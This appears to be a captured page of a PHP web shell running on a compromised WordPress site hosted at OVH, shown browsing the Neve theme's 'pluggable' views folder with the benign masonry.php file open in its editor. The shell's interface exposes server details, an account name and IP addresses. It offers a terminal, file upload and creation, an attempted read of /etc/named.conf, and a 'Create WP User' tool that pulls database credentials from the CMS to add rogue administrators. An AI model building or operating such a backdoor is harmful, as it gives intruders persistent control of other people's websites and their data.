Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.216.193
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
infrops-copy
/
infrops.pl
/
wp-content
/
themes
/
neve
/
inc
/
views
/
pluggable
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
masonry.php
2.18 KB
-rw-r--r--
2021-05-03 21:18
metabox_settings.php
12.83 KB
-rw-r--r--
2021-05-03 21:18
pagination.php
5.41 KB
-rw-r--r--
2021-05-03 21:18
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
masonry.php
<?php /** * Handles blog masonry. * * Author: Andrei Baicus <andrei@themeisle.com> * Created on: 31/08/2018 * * @package Neve\Views\Pluggable */ namespace Neve\Views\Pluggable; use Neve\Views\Base_View; /** * Class Masonry * * @package Neve\Views\Pluggable */ class Masonry extends Base_View { /** * Function that is run after instantiation. * * @return void */ public function init() { add_filter( 'neve_filter_main_script_localization', array( $this, 'filter_localization' ) ); add_filter( 'neve_filter_main_script_dependencies', array( $this, 'filter_dependencies' ) ); } /** * Filter localization to add masonry to the main script. * * @param array $data localization array. * * @return array */ public function filter_localization( $data ) { if ( ! $this->is_masonry_enabled() ) { return $data; } $layout = get_theme_mod( 'neve_blog_archive_layout', 'grid' ); $columns = $this->get_max_columns(); $data['masonryStatus'] = 'enabled'; $data['masonryColumns'] = absint( $columns ); $data['blogLayout'] = esc_html( $layout ); return $data; } /** * Filter dependencies to add masonry to the main script. * * @param array $data dependencies array. * * @return array */ public function filter_dependencies( $data ) { if ( ! $this->is_masonry_enabled() ) { return $data; } array_push( $data, 'masonry' ); return $data; } /** * Check if masonry is enabled. * * @return string */ public function is_masonry_enabled() { $blog_layout = get_theme_mod( 'neve_blog_archive_layout', 'grid' ); $columns = $this->get_max_columns(); if ( ! in_array( $blog_layout, [ 'grid', 'covers' ], true ) || $columns === 1 ) { return false; } return get_theme_mod( 'neve_enable_masonry', false ); } /** * Get the maximum number of columns. * * @return int */ private function get_max_columns() { $columns = get_theme_mod( 'neve_grid_layout', '{mobile:1, tablet:1, desktop:1}' ); if ( is_int( $columns ) ) { return $columns; } if ( empty( $columns ) ) { return 1; } $columns = json_decode( $columns, true ); if ( ! is_array( $columns ) ) { return 1; } return max( $columns ); } }
关闭
保存